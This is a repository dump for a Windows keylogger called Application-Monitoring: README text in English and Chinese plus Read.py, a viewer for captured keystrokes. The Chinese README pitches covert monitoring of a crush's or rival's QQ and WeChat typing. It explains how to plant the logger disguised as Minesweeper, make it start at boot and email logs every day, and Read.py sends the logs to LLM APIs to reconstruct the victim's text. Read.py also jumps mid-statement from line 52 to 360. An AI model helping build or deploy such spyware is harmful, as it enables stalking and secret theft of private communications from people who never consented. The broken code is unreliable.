current program can only record key content but cannot interpret complete pinyin input. In the future, a tool will be developed to interpret and reconstruct the actual text input by the user, making it easier to understand the input content. 90 | - [X] **Auto Start on Boot**: Added auto-start on boot functionality. 91 | 92 | ### ⚠️ Disclaimer 93 | 94 | The features involved in this program may infringe on personal privacy or violate laws and regulations. Please ensure that you have obtained the explicit consent of the relevant personnel before use and comply with the laws of your location. Unauthorized monitoring and data collection may result in legal liability. The developer is not responsible for any illegal use or consequences arising therefrom. 95 | 96 | --- 97 | 98 | **Important Note**: Please use this program with caution and adhere to all relevant laws and regulations. 99 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [English](README.en.md) 2 | 3 | # 🎹 键盘行为监视器 4 | 5 | ## 📋 概况 6 | 7 | 还在对喜欢的女孩恋恋不忘吗?还在为竞争对手而焦虑吗?本程序能帮助你监控目标应用(如QQ或微信)的键盘活动,并将这些数据记录下来,隔一段时间后自动发送到你的邮箱。 8 | 9 | ### ⚙️ 功能简介 10 | 11 | - **🔍 应用监视**:本程序会监视自定义应用的运行状态,当检测到指定应用正在运行时,开始记录键盘行为。 12 | - **🔄 开机自启**:打包后的文件运行后能自动添加自己到启动文件夹实现开机自启功能。 13 | - **⌨️ 键盘记录**:记录键盘按键的详细信息,包括按键内容、按键次数以及按键时间。 14 | - **💾 数据存储**:使用压缩的方式将记录的数据存储为二进制文件,节省存储空间。 15 | - **📧 邮件发送**:程序会定时检测并通过指定的邮箱发送记录的键盘数据。 16 | - **📊 数据读取**:提供一个独立的程序 `Read.py` 用于解压和读取存储的二进制数据,并将数据以表格形式展示,可导出为CSV或Excel文件。 17 | - **🛠️ 打包工具**:提供一个 [Package_tool](https://github.com/ystemsrx/Application-Monitoring/releases) 工具,可以将程序打包成单个可执行文件,并且支持自定义图标。 18 | 19 | ### 📁 文件说明 20 | 21 | - **Application_Monitoring**: 主程序,用于监视QQ和微信的运行状态,并记录键盘行为,将数据保存为压缩的二进制文件,并定时通过邮件发送。 22 | - **Read.py**: 数据读取工具,解压并读取由 `Application_Monitoring` 生成的二进制文件,提供数据可视化和导出功能。我们还使用AI为此工具增加了数据解读的功能(需要提供**自己的API**并填入代码开头的列表,目前仅支持[OpenAI](https://platform.openai.com/api-keys)、[质谱清言](https://open.bigmodel.cn/usercenter/apikeys)、[通义千问](https://dashscope.console.aliyun.com/apiKey)) 23 | - **Package_tool.py**: 打包工具,用于将Python脚本打包成单个可执行文件,并支持自定义图标。 24 | 25 | ### 📝 使用说明 26 | 27 | 1. **监视与记录**: 28 | - 将 `Application_Monitoring` 打包(有[打包工具](https://github.com/ystemsrx/Application-Monitoring/releases))成exe,然后放入目标电脑运行,该程序会在后台持续自动检测QQ和微信的运行状态,并开始记录键盘输入。 29 | - 数据会实时存储在 `key_data.bin` 文件中。 30 | - 每隔24h会通过邮件发送给你。 31 | - 不用担心没有理由让对方打开文件。此文件能会伪装为扫雷程序,打包后仅有11MB大小,运行后将会打开扫雷看,监视程序则在后台运行,且即使关闭扫雷也不会有任何影响! 32 | - 开机自启动时也无需担心扫雷弹出,本程序有自动检测功能可以检测是否是开机自启还是亲自打开。 33 | 34 | 2. **读取与导出**: 35 | - 运行 `Read.py` 程序,将 `key_data.bin` 文件拖入,即可查看记录的键盘输入数据。 36 | 37 | ⚠**重要:运行[Read.py](Read.py)需安装`PyQt5`、`Pandas`和`Requests`库,运行`pip install pyqt5 pandas requests`来安装** 38 | 39 | - 可以将数据筛选并导出为CSV或Excel文件,便于进一步分析。 40 | - 可以使用工具自带的AI功能对数据进行复原恢复(需自备API KEY,目前仅支持[OpenAI](https://platform.openai.com/api-keys)、[质谱清言](https://open.bigmodel.cn/usercenter/apikeys)、[通义千问](https://dashscope.console.aliyun.com/apiKey))。 41 | 42 | 3. **打包工具**: 43 | 44 | - 你的电脑必须安装Python,可以[在这里](https://www.python.org/downloads/release/python-3125/)下载安装 。 45 | - 使用打包工具工具可以将主程序打包成独立的可执行文件,[点击这里](https://github.com/ystemsrx/Application-Monitoring/releases)。将Python脚本拖入界面即可打包,支持添加自定义图标(拖入图片或图标即可)。 46 | - 运行[打包工具](Package_tool.py)以及对主程序进行打包**需要安装`PyQt5`、`keyboard`、`psutil`、`pywin32`、`PyInstaller`、`Pillow`库,执行以下代码进行安装:`pip install keyboard psutil pywin32 pyqt5 pyinstaller pillow`**。 47 | 48 | ### 🖋️ 需要填写的内容 49 | 50 | 在 `Application_Monitoring` 文件中,有几处需要填写和修改的内容,以确保程序按预期工作: 51 | 52 | 1. **📧 邮箱配置**: 53 | - `from_addr`:发件人的邮箱地址。 54 | - `to_addr`:接收记录的邮箱地址。 55 | - `password`:发件人的邮箱SMTP授权码,授权码请自行搜索如何获得。 56 | 57 | 例如: 58 | ```python 59 | from_addr = "your_email@example.com" 60 | to_addr = "recipient_email@example.com" 61 | password = "your_email_password_or_smtp_token" 62 | ``` 63 | 64 | 2. **💽 文件存储路径**: 65 | - `compressed_file`:存储压缩数据的文件路径。请根据需要修改存储路径,确保程序有权限在该路径下读写文件。推荐写入除C盘外的其他盘。 66 | 67 | 例如: 68 | ```python 69 | compressed_file = "D:\\your_path\\key_data.bin" 70 | ``` 71 | 72 | 3. **⏰ 时间间隔设置**: 73 | - `interval_time` :程序默认设置为每24小时(86400秒)发送一次记录邮件。可以根据需要修改该时间间隔,默认24h。 74 | 75 | 例如,修改为每12小时发送: 76 | ```python 77 | interval_time = 43200: # 12 hours in seconds 78 | ``` 79 | 80 | 4. **📱 应用列表** 81 | - `applications = ["QQ", "WeChat"]`中添加应用,默认QQ和微信,应用用逗号隔开,需要打引号。**注意**:应用需要以程序进程的名字而不是自身的名字(可以在任务管理器里看),比如**企业微信**就叫**WXWork**。 82 | 83 | 5. **🤖 [Read.py](Read.py)中的API列表** 84 | - 若需要使用AI数据解读功能,请将自己的API KEY填写到列表中,若不愿意将它填写在列表,也能在程序启动时临时进行填写。目前我们支持的API KEY仅有[OpenAI](https://platform.openai.com/api-keys)、[质谱清言](https://open.bigmodel.cn/usercenter/apikeys)、[通义千问](https://dashscope.console.aliyun.com/apiKey)。同时,在函数`setup_model_selector`中,可以自行再添加更多支持的模型。 85 | 86 | ### ✅ TODO List 87 | 88 | - [x] **统一应用监视**:通过在列表中输入应用名称即可监视该应用,而无需手动调整程序代码。 89 | 90 | - [x] **数据解读工具**:当前程序只能记录按键内容,但无法解读完整的拼音输入。后续将开发一个工具,能够解读并重构出用户实际输入的文字内容,以便更直观地了解输入内容。 91 | 92 | - [X] **开机自启动**:增加开机自启动功能。 93 | 94 | ### ⚠️ 免责声明 95 | 96 | 本程序涉及的功能可能会侵犯个人隐私或违反法律法规。请在使用前确保已获得相关人员的明确同意,并遵守所在地的法律规定。未经许可进行的监视和数据收集行为可能会带来法律责任。开发者不对任何非法使用或由此产生的后果负责。 97 | 98 | --- 99 | 100 | **重要提示**:请谨慎使用本程序,遵守所有相关法律法规。 101 | -------------------------------------------------------------------------------- /Read.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import zlib 4 | import time 5 | import pandas as pd 6 | import re 7 | import requests 8 | import json 9 | from datetime import datetime, timezone, timedelta 10 | from PyQt5.QtWidgets import (QApplication, QMainWindow, QTableWidget, QTableWidgetItem, QVBoxLayout, QWidget, 11 | QFileDialog, QComboBox, QPushButton, QHeaderView, QTextEdit, QSizePolicy, QHBoxLayout, 12 | QLineEdit, QLabel, QMessageBox) 13 | from PyQt5.QtCore import Qt, QTimer, QThread, pyqtSignal 14 | from PyQt5.QtGui import QTextOption 15 | 16 | # API列表 17 | API_KEYS = [ 18 | "sk-xxx", 19 | "xxx", 20 | "xxx" 21 | ] 22 | 23 | def read_compressed_file(filename): 24 | data = [] 25 | 26 | try: 27 | with open(filename, 'rb') as file: 28 | compressed_data = file.read() 29 | print(f"Compressed data size: {len(compressed_data)} bytes") 30 | raw_data = zlib.decompress(compressed_data) 31 | print(f"Decompressed data size: {len(raw_data)} bytes") 32 | 33 | index = 0 34 | while index < len(raw_data): 35 | try: 36 | data_type = raw_data[index] 37 | index += 1 38 | if data_type == 1: # 按键数据 39 | title_length = struct.unpack('I', raw_data[index:index+4])[0] 40 | index += 4 41 | window_title = raw_data[index:index+title_length].decode('utf-8') 42 | index += title_length 43 | 44 | key_length = struct.unpack('I', raw_data[index:index+4])[0] 45 | index += 4 46 | key_name = raw_data[index:index+key_length].decode('utf-8') 47 | index += key_length 48 | 49 | count = struct.unpack('I', raw_data[index:index+4])[0] 50 | index += 4 51 | 52 | timestamp = struct.unpack(' 0: 360 | available_width = max(total_width - total_content_width, 0) 361 | for col in range(self.table_widget.columnCount()): 362 | extra = int(available_width * (column_widths[col] / total_content_width)) 363 | column_widths[col] += extra 364 | 365 | for col, width in enumerate(column_widths): 366 | header.setSectionResizeMode(col, QHeaderView.Interactive) 367 | self.table_widget.setColumnWidth(col, width) 368 | 369 | def resizeEvent(self, event): 370 | super().resizeEvent(event) 371 | self.adjust_column_widths() 372 | 373 | def export_data(self): 374 | options = QFileDialog.Options() 375 | file_name, _ = QFileDialog.getSaveFileName(self, "导出数据", "", "CSV Files (*.csv);;Excel Files (*.xlsx)", options=options) 376 | if file_name: 377 | self.export_thread = DataExportThread(self.filtered_data, file_name) 378 | self.export_thread.export_finished.connect(self.on_export_finished) 379 | self.export_thread.start() 380 | 381 | def on_export_finished(self, success): 382 | if success: 383 | QMessageBox.information(self, "导出成功", "数据已成功导出。") 384 | else: 385 | QMessageBox.warning(self, "导出失败", "导出数据时发生错误。") 386 | 387 | def dragEnterEvent(self, event): 388 | if event.mimeData().hasUrls(): 389 | event.acceptProposedAction() 390 | 391 | def dropEvent(self, event): 392 | for url in event.mimeData().urls(): 393 | file_name = url.toLocalFile() 394 | self.load_data(file_name) 395 | self.clear_explanation() 396 | 397 | def generate_explanation(self): 398 | content = self.key_display.toPlainText() 399 | api_key = self.api_key_input.currentText() 400 | model = self.model_selector.currentText() 401 | 402 | if re.match(r'^sk-[a-zA-Z0-9]{48,}$', api_key): # OpenAI 403 | url = "https://api.openai.com/v1/chat/completions" 404 | elif re.match(r'^[a-f0-9]{32}\.[a-zA-Z0-9]{16}$', api_key): # 质谱清言 405 | url = "https://open.bigmodel.cn/api/paas/v4/chat/completions" 406 | elif re.match(r'^sk-[a-zA-Z0-9]{32}$', api_key): # 通义千问 407 | url = "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions" 408 | else: 409 | QMessageBox.warning(self, "API KEY错误", "请重新输入有效的API KEY") 410 | return 411 | 412 | self.generation_thread = ContentGenerationThread(url, api_key, model, content) 413 | self.generation_thread.content_generated.connect(self.update_explanation) 414 | self.generation_thread.generation_finished.connect(self.on_generation_finished) 415 | self.generation_thread.start() 416 | 417 | self.explanation_display.clear() 418 | self.explanation_display.show() 419 | self.expand_button.show() 420 | self.stop_button.show() 421 | self.stop_button.setEnabled(True) 422 | self.full_explanation = "" 423 | self.is_expanded = False 424 | self.update_explanation("正在解析中|") 425 | 426 | def update_explanation(self, content): 427 | self.full_explanation += content 428 | if not self.is_expanded: 429 | self.explanation_display.setText("正在解析中" + "|—/\\"[len(self.full_explanation) % 4]) 430 | else: 431 | self.explanation_display.setText(self.full_explanation) 432 | 433 | if "```" in self.full_explanation: 434 | parts = self.full_explanation.split("```") 435 | if len(parts) > 1: 436 | self.explanation_display.setText(parts[1]) 437 | 438 | def on_generation_finished(self): 439 | self.copy_button.show() 440 | self.stop_button.setEnabled(False) 441 | self.explanation_display.setText(self.full_explanation.split("```")[1] if "```" in self.full_explanation else self.full_explanation) 442 | self.expand_button.setEnabled(True) 443 | 444 | def toggle_expand(self): 445 | self.is_expanded = not self.is_expanded 446 | if self.is_expanded: 447 | self.expand_button.setText("收起过程") 448 | self.explanation_display.setText(self.full_explanation) 449 | else: 450 | self.expand_button.setText("展开过程") 451 | parts = self.full_explanation.split("```") 452 | if len(parts) > 1: 453 | self.explanation_display.setText(parts[1]) 454 | else: 455 | self.explanation_display.setText(self.full_explanation) 456 | 457 | def stop_generation(self): 458 | if self.generation_thread and self.generation_thread.isRunning(): 459 | self.generation_thread.stop() 460 | self.generation_thread.wait() 461 | self.on_generation_finished() 462 | 463 | def copy_explanation(self): 464 | clipboard = QApplication.clipboard() 465 | clipboard.setText(self.explanation_display.toPlainText()) 466 | 467 | def clear_explanation(self): 468 | self.explanation_display.clear() 469 | self.explanation_display.hide() 470 | self.expand_button.hide() 471 | self.stop_button.hide() 472 | self.copy_button.hide() 473 | self.full_explanation = "" 474 | self.is_expanded = False 475 | 476 | class DataLoadingThread(QThread): 477 | data_loaded = pyqtSignal(list) 478 | error_occurred = pyqtSignal(str) 479 | 480 | def __init__(self, filename): 481 | super().__init__() 482 | self.filename = filename 483 | 484 | def run(self): 485 | try: 486 | data = read_compressed_file(self.filename) 487 | self.data_loaded.emit(data) 488 | except Exception as e: 489 | self.error_occurred.emit(str(e)) 490 | 491 | class DataExportThread(QThread): 492 | export_finished = pyqtSignal() 493 | error_occurred = pyqtSignal(str) 494 | 495 | def __init__(self, data, file_name): 496 | super().__init__() 497 | self.data = data 498 | self.file_name = file_name 499 | 500 | def run(self): 501 | try: 502 | df = pd.DataFrame(self.data, columns=["应用", "按键", "数量", "时间"]) 503 | if self.file_name.endswith('.csv'): 504 | df.to_csv(self.file_name, index=False, encoding='utf-8-sig') 505 | elif self.file_name.endswith('.xlsx'): 506 | df.to_excel(self.file_name, index=False) 507 | self.export_finished.emit() 508 | except Exception as e: 509 | self.error_occurred.emit(str(e)) 510 | 511 | def main(): 512 | app = QApplication(sys.argv) 513 | viewer = DataViewer() 514 | viewer.show() 515 | sys.exit(app.exec_()) 516 | 517 | if __name__ == '__main__': 518 | main() 519 | --------------------------------------------------------------------------------